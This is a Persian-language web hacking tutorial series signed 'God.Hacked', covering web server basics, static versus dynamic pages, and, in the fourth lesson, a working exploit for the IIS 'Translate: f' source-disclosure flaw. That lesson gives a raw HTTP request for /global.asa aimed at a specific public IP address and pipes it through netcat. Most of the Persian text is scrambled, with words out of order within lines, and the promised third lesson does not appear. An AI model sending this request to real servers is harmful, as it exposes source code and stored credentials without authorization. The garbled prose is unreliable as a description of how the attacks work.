



E-mail: God.Hacked@Yahoo.com

Website: Www.Exploit.Net.Tf

ملاحظات:

با سلام از اینکه مقاله من را جهت آموزش انتخاب کردین سپاس گزارم. اما کاربر گرامی این مقالات فقط جهت آموزش نوشته شده و در اختیار شما قرار گذاشته شده و هر گونه استفاده غیر آموزشی از آن بر عهده خود کاربر میباشد و اینجانب هیچ گونه مسئولیتی بر عهده نمیگیرم. با تشکر: پیام ایزدی.

((وبلاگ و وب هکینگ))

وب هکینگ (۱)

فهرست واسه کارمون خوب در اول کار میگویم که از کجا میخوانیم وب هکینگ رو شروع کنیم در حقیقت یک داشته باشیم

webhacking چیست؟

بیشتر مورد توجه هکران حرفه ای است؟ چرا وب هکینگ

هکینگ معرفی کوتاه روشهای پر استفاده در وب

هکینگ دفاع در برابر وب

چيست؟ وب هکینگ

هارد یک کامپیوتر قرار دارند که خوب فکر کنم که همه بدونند که هر وب سایتی یا وبلاگی که میبینید روی میگویند ولی این سرور ها که این صفحات وب رو همه هم میدونید که به اون سیستم های کامپیوتری سرور میدهند در اصطلاح تخصصی وب سرور نامیده میشوند خوب من بیشتر نذیره میکنند و در اختیار شما قرار دیم فکر میکردند واسه دیفیس سایت (تغییر چهره ظاهری) حتما باید سرور اون هکرهای تازه کاری که وب مورد حمله قرار بدهند اما این فکر کاملا غلطه به هر حال هر سایت دارای تعدادی صفحه سایت رو صفحات وب سایت نوشته شده با یکی از زبان های برنامه نویسی تحت وب میباشد همچنین وب سروری که و عملیات های مربوط به آن بر روی آن قرار دارند از برنامه ای برای سازمان دهی و اداره وب سایت استفاده میکند

وب مثال : زبانهای برنامه نویسی تحت

HTML,ASP,PHP,Java Script,CGI(Perl), and ...

مدیریت وب سرور مثال : برنامه های

IIS,APACHE,PWS, and ...

آنها همیشه ثابت میباشند صفحات ایستا میگویند از زبانهای برنامه نویسی نکته : به صفحاتی که محتوای میتوان اچ تی ام ال را نام برد صفحات ایستا

داده های گرفته شده از کاربر و موقعیت زمانی و ... تغییر نکته : به صفحاتی که داده های آنها بر اساس متحرک گفته میشوند. این گونه صفحات در اصطلاحات تخصصی تر برنامه های میکنند در اصطلاح صفحات را اپلیکاتیون هم خوانده میشوند . نفوذ به برنامه های تحت وب و برنامه مدیریت وب سرور تحت وب یا وب وب هکینگ میگویند

مورد توجه هکران حرفه ای قرار میگیرد ؟ چرا وب هکینگ بیشتر

دردسر تر از نفوذ به خود سرور میباشد. زیرا مدیران امنیت شبکه اصولا وب هکینگ بسیار راحت تر و کم در . اجتماعی خود متوجه شده اند که اکثر نفوذ گران به دنبال نفوذ مستقیم به سرور هستند هم با توجه به شرایط مانند فایروال و آی نتیجه بر روی امنیت سرور خود سرمایه گذاری زیادی میکنند و ابزار های امنیتی گرانی تحت وب خودشان غافل میمانند و دی اس و ان اس ام و ... بر روی آن نصب میکنند و از امنیت برنامه نفوذ هستند و حوصله روبرو شدن با امکانات امنیتی نفوذگران با تجربه هم که به دنبال آسانترین راه برای میروند سرور رو ندارند به سراغ وب هکینگ

روشهای وب هکینگ معرفی کوتاه

مانند اینترنت اکسپلورر است که در وب هکینگ شما مهمترین چیزی که نیاز دارید یک مرورگر وب رفتن با یو آر ال و فرمهای تحت وب میباشد . شما تا خوشبختانه از آن برخوردار هستید . وب هکینگ علم ور هکینگ مانند اس کیو ال انجکشن استفاده از /../ در یو آر ال و ... رو دیده به حال نمونه های زیادی از وب

آموزش در این آموزشها من سعی کردم آموزش همین نوع حمله های نسبتا ساده و کم در دسر رو اید . خوب هکینگ پیدا کنید بدهم ولی آموزشهای بعدی به صورت عملی خواهد بود تا شما بیشتر تجربه در وب

.....
دفاع در برابر وب هکینگ مقدمه کوتاهی برای

میباشد برای دفاع در برابر این نوع حملات فقط دفاع در برابر وب هکینگ به همان سادگی خود وب هکینگ تحت وبتان کافی خواهد بود و شما نیاز به ابزار دفاعی خاصی مانند اضافه کردن چند دستور شرطی به برنامه خوب در آموزشهای بعدی روش دفاع در برابر هر نوع از حمله ها به طور کامل توضیح داده . فایروال ندارید نگهدار و به امید خواهد شد و البته یک جلسه از آموزشها هم مربوط به تفسیر لوگ فایلها خواهد بود . خدا موفقیت تا درس بعدی بای بای

وب هکینگ(۲)

وب هکینگ چیست؟

میشود که در اون میخوان به یک وب سرور وب هکینگ به نوعی از حملات نفوذگران اینترنتی گفته میباشند که از آن برای نگهداری و نمایش دادن صفحات وب دسترسی پیدا کنند. وب سرور نوعی از سرور ها مانند رایانه های دیگر دارای سیستم عامل است و یک نرم افزار مدیریتی وب استفاده میشود . هر وب سروری دارا میباشند این ها میتونند شامل زیر باشند سرور را نیز

IIS,APACHE,TOMCAT

که در زیر گفتم امثال اینها خوب صفحاتی هم که وب سرور رو نمایش میدن به دو دسته مختلف تقسیم میشن و

Dynamic , Static

که همیشه ثابت بوده و هیچ تغییری در آنها ایجاد نمیشود به عنوان صفحات استاتیک یا ثابت صفحاتی هستند استفاده نوشته شده با اچ تی ام ال که البته در آنها از جاوا اسکریپت و اسکریپتهای دیگری مثال صفحات ساده نشده نوعی از صفحات ثابت هستند

اساس نوع دادههای وارد شده به آنها شکلهای مختلفی به خود میگیرند صفحات دینامیک صفحاتی هستند که بر صفحاتی که با زبانهای به عنوان مثال

ASP , PHP , JSP

نوشته شده اند از این دسته اند و طرز اجرای صفحات نیز جاز اهمیت میباشند و اسکریپتهای جاوا اسکریپت صفحات باید در سمت کاربر یا همان یوزر پردازش و نمایش داده شود و گروهی دیگر در سمت بعضی از سرور و سپس صفحه ای را مانند همون صفحه اول تولید میکنند که در سمت کاربر پردازش میشه

گروه دوم هم زبانهای زیر از گروه اول میتونم زبانهای اچ تی ام ال و جاوا اسکریپت رو مثال بزنم و در

ASP , PHP , JSP

توجه به گفته های بالا و این قسمت میتونیم نتیجه بگیریم که اکثر صفحات دینامیک هم قرار میگیرند . پس با باشد زیرا به سمت سرور پردازش میشوند. علت این امر چیست؟ شاید یکی از علل اصلی امنیت برنامه ها در خود دارند . برای این مورد طور معمول سورس کد این صفحات اطلاعات بسیار خوبی رو برای نفوذگر در

تا اینجا دسترسی به سورس صفحات رو هم یاد گرفتید در درس بعدی خوب

Buffer Over Flow

رو از مقدماتی تا پیشرفته درس میدم

وب هکینگ ۴

میخوام به شما یکی از پر وب در مقاله های قبلی دسترسی به سورس صفحات رو یاد گرفتیم در این مقاله هم پذیري هم در زیر میگم استفاده ترین آسیب پذیری ها رو یاد بدهم که نام این آسیب

Translate:f

این است که بر روی تمام آی آی اس ها بغیر از آی آی اس ۶ کار میکنه . یکی از مزیت های این آسیب پذیری کنید آسیب پذیری بسیار ساده است شما ابتدا متن زیر را در یک فایل دات تی ایکس تی ذخیره کار با این

```
GET /global.asa\ HTTP/1.0
```

```
HOST : 64.187.61.230
```

```
User-Agent: SensePostData
```

```
Content-Type: application/x-www-form-urlencoded
```

Translate:f

```
[CRLF]
```

```
[CRLF]
```

حالا به کامند پرومپت برید و دستور زیر رو وارد کنید

```
C:\>type sourcer.txt| nc -nv 127.0.0.1 80
```

آسیب پذیری راه مقابله با این

ندین مانند محل قرار گیری بانک اطلاعاتی بهترین راه این است که شما اطلاعات مهم رو در این فایلها قرار . ارتقاء بدین و ... راه دیگر این است که آی آی اس رو



Hacked By God.Hacked